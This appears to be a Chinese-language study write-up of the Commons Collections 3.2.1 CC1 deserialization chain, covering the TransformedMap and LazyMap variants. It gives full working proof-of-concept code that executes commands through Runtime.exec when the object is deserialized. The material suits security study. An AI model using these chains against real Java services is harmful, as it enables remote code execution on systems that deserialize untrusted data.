组件介绍:
Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
环境准备:
创建一个mvn项目并且导入Commons Collections,
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
为了方便调试,需要下载对应的JDK源码:
https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载完之后,需要把jdk/src/share/classes/中的sun文件夹粘贴到\Java\jdk1.8.0_65,参照下面图片(借用大佬图片):
之后打开idea里面的项目结构选项,按照下面图片进行导入SUN源码:
CC1链反序列化学习
CC1链这次学习分为两条链子TransformerMap链和Lazymap链下面进行简单学习
在此之前需要了解实现Transformer(接收一个对象,然后对Object作一些操作并输出)接口的方法:
ChainedTransformer官方注释:
ChainedTransformer 是 Apache Commons Collections 库中的一个类,它是一个转换器(Transformer)的链表,将多个转换器链接在一起以进行多次转换操作。每次转换的输出结果将作为下一次转换的输入。
InvokerTransformer官方解释:
InvokerTransformer 是 Apache Commons Collections 库中的一个类,它可以通过反射机制调用指定对象的指定方法,并返回方法执行结果。它是一个转换器(Transformer)实现,用于将输入对象转换为调用指定方法后的返回值。InvokerTransformer充当一个后门来使用,后面会说明。
ConstantTransformer官方解释
ConstantTransformer 是 Apache Commons Collections 库中的一个类,它是一个转换器(Transformer)实现,用于将输入对象转换为一个固定的常量值。
TransformedMap官方解释:
TransformedMap 是 Apache Commons Collections 框架中的一个类,它实现了一个 Map 接口,可以对其所包含的键值对进行转换操作。可以在原有的 Map 对象的基础上,提供一种能够对键或值进行自定义转换的方式。具体来说,TransformedMap 实例将会对 get、put 和 containsKey 方法进行重载,从而在访问 Map 中的键值对时,通过指定的转换器来对键或值进行转换操作。
TransformerMap链
首先,通过简单的方法来调用计算器:
Runtime.getRuntime().exec("calc");
之后使用反射来调用计算器
package FlynAAAA;
import org.apache.commons.collections.map.TransformedMap;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class CC1_TransformerMap {
public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime c=Runtime.getRuntime(); //创建一个 Runtime 对象,并将其赋值给变量 c。
Class r=Runtime.class;//获取 Runtime 类的 Class 对象,并将其赋值给变量 r。
Method exec=c.getClass().getMethod("exec",String.class);//使用反射机制获取 Runtime 类的 exec 方法,exec 方法时需要传入一个命令字符串作为参数,该字符串指定要执行的命令。
exec.invoke(c,"calc");//里传入的是 "calc",即启动 Windows 计算器程
}
}
为什么说InvokerTransformer相当于一个后门程序,下面是他的构造方法,第一个参数:是需要调用的方法,第二个参数是以数组的形式接收,该方法的有参构造函数的类型,第三个,构造函数的参数值
下面是InvokerTransformer中的Transformer方法iMethodName、iParamTypes以及input都可控,而且使用的是反射的方法,调用指定对象的指定方法,并返回方法执行结果。
那么就可以使用InvokerTransformer来调用计算器:
package FlynAAAA;
import com.sun.org.apache.bcel.internal.generic.NEW;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class CC1_TransformerMap {
public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r=Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
}
}
了解之后进行一个练习,使用反射嵌套InvokerTransformer来调用计算器:
package FlynAAAA;
import com.sun.org.apache.bcel.internal.generic.NEW;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class CC1_TransformerMap {
public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
//题目:
// Class c=Runtime.class;
//Method getRunTimeMethod= c.getMethod("getRuntime",null);
//Runtime r= (Runtime)getRunTimeMethod.invoke(null,null);
//Method execMethod= c.getMethod("exec", String.class);
//execMethod.invoke(r,"calc");
//解答:
Method m1=(Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime m2=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m1);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(m2);
}
}
之后查找谁调用了tranform的方法:
可以看出在TransformerMap和Lazymap都有使用Transforme方法
先看TransformerMap#checkSetValue,这是protected方法,需要使用反射进行调用,跟踪变量valueTransformer
从TransformerMap的初始化类中看出,接收一个map数组也就是需要处理的数组,
TransformerMa类是通过decorate方法对map进行修饰。
紧接着使用cheackSetValue()进行计算器调用:
package FlynAAAA;
import com.sun.org.apache.bcel.internal.generic.NEW;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1_TransformerMap {
public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbbbb");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);
//通过反射的方法调用checkSetValue
Method cheack=TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
cheack.setAccessible(true);
cheack.invoke(transformedMap,r);
}
}
接下来查看是谁调用了cheackSetValue()方法,在AbstractMapEntryDecorator这个抽象对象中的静态类MapEntry继承了AbstractMapEntryDecorator抽象类
而AbstractMapEntryDecorator又实现了Map.Entry接口,可以看出MapEntry中的setValue方法其实就是Entry中的setValue方法,一个entry就是一对键值,可以通过遍历entry执行setValue()方法。来进行调用计算器
接下来使用SetValue来调用计算器
package FlynAAAA;
import com.sun.org.apache.bcel.internal.generic.NEW;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1_TransformerMap {
public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("aaaa", "bbbbb");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
}
}
那么此时如果有某个readObject()中使用Map.Entry去迭代集合,且中间使用可控变量调用了setValue(),就可以以这个为入口点,进行反序列化。
搜索setValue,在AnnotationInvocationHandler#readObject()中有使用。
AnnotationInvocationHandler有一个构造函数,它接受两个参数:注解接口的Class对象和一个Map对象,该Map对象包含注解属性的值。当在注解接口上调用方法时,AnnotationInvocationHandler会在Map中查找相应属性的值,并将其作为方法调用的结果返回。
PPs:
Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);
但是有几个问题:
1、Runtime没有实现Serialize接口,无法被序列化:
解决办法:
用InvokerTransformer去实现:
Method m1=(Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime m2=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m1);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(m2);
2、触发setValue()之前的两个if条件
解决方法:
第一个if:map的键在注解中必须存在,意思是就是上面举例Target.class,map的键的键值必须在Target.class中
第二个if:map的键不能强制转换为value
setValue()中的值是一AnnotationTypeMismatchExceptionProxy对象而不是Transformer.
解决方法:
我们可以利用上面ConstantTransformer 和ChainedTransformer结合起来封装成Transformer。
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer C=new ChainedTransformer(Transformer);
ConstantTransformer类是用于将输入对象转换为一个固定的常量值。上面将他转换成Runtime.class
用ChainedTransformer把需要反射的链起来
最终poc
package FlynAAAA;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//直接调用clac
//Runtime.getRuntime().exec("calc");
//通过反射调用
// Runtime r=Runtime.getRuntime();
//Class c=Runtime.class;
//Method exec=c.getMethod("exec", String.class);
//exec.invoke(r,"calc");
//通过InvokerTransformer调用
//Runtime r=Runtime.getRuntime();
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//通过CC里面的Transformemap里面的checkSetValue进行调用
//Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer C=new ChainedTransformer(Transformer);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbbbb");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,C);
//for (Map.Entry entry:transformedMap.entrySet()){
//entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler.setAccessible(true);
Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);
unseri(seri(o));
}
public static byte[] seri (Object obj) throws IOException {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream OOS1 = new ObjectOutputStream(btout);
OOS1.writeObject(obj);
System.out.println(btout.toByteArray());
return btout.toByteArray();
}
public static Object unseri (byte[] Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
Lazymap链
从可以看出在TransformerMap和Lazymap都有使用Transforme方法,接下来看Lazymap
lazymap的实现方式是,在Map中添加一个Transformer对象作为值的默认值,当获取某个键的值时,如果该键不存在,就会使用Transformer对象来生成一个默认值,并将其作为该键的值。Transformer对象的实现方式可以是任何实现了Transformer接口的类下面是Lazymap的初始方法。
可以看见如果在get找不到键值的时候,它会调用factory.transform 方法去获取一个值:
而Lazy和transforMap一样,都是使用decorate()方法接收一个map和Transformer
AnnotationInvocationHandler的readObject()没有直接调用get(),所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get()方法
接下来有必要学习一下Java的动态代理:
Java 动态代理(Dynamic Proxy)是一种实现 AOP(Aspect Oriented Programming,面向切面编程)的方式,可以在运行时动态地创建代理类和对象。它可以使代码更加灵活、可扩展和可维护。
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
其中,loader 参数指定代理类的类加载器;interfaces 参数指定代理类要实现的接口列表;h 参数是一个实现了 InvocationHandler 接口的对象,用于处理代理类中方法的调用。
newProxyInstance() 方法返回的是一个代理类的实例,该实例实现了指定的接口列表,并将方法调用转发给指定的 InvocationHandler 对象处理。在代理类中,通过 InvocationHandler 对象的 invoke() 方法来处理方法调用。
例如(抄袭大佬的代码)
package LazyMap;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App
{
public static void main(String[] args) {
/*
自动生成代理类
第一个参数: Classloader, 及代理角色
第二个参数: Interface, 也就是抽象角色, 即我们要代理那个接口, 这里是Map
第三个参数: InvocationHandler, 是一个实现了InvocationHandler接口的被代理类,里面包含了具体代理的逻辑
*/
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class}, new ExampleInvocationHandler(new HashMap()));
// 这里虽然调用的是 Map.put() 但由代理类触发, 就会优先调用 被代理类的invoke() 然后再反射调用 put()
proxyMap.put("Hello","World");
// 因为优先调用被代理类的invoke, 且我们的方法又刚好是 get()
// 所以被 hook住, 返回的值也会变为 Hoooooook
String res = (String) proxyMap.get("Hello");
System.out.println(res);
}
}
package LazyMap;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler
{
protected Map map;
// 构造方法
public ExampleInvocationHandler(Map map) {
this.map = map;
}
// 重写invoke
// 当这个类被代理后, 代理对象调用任意方法都会优先进入 被代理类的i nvoke方法
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("get"))
{
System.out.println("方法 get() 已被劫持 !");
return "Hoooooook";
}
return method.invoke(this.map,args);
}
}
然后大致这样改POC
将TransformedMap更改类LazyMap
Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer);
AnnotationInvocationHandler这个类实现了InvocationHandler接口,只需要在实例化它的时候,将它使用Proxy.newProxyInstance()代理,即可当代理类调用任意方法的时候,都会优先跑到AnnotationInvocationHandler这个类下的invoke()方法中
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> clazzDeclaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) clazzDeclaredConstructor.newInstance(Resource.class, decorate);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
Object o = clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
此时是一个Proxy类,而我们的触发点在AnnotationInvocationHandler#readObject(),所以在把这个类放到构造方法第三个参数
Object o = clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
完整POC:
package LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.annotation.Resource;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class LazyMapDemo {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]
{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value",1);
Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> clazzDeclaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) clazzDeclaredConstructor.newInstance(Resource.class, decorate);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
Object o = clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
//new clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
serialize(o);
unserialize("poc.ser");
// proxyMap.size();
}
public static void serialize(Object obj) throws Exception
{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("poc.ser"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception
{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}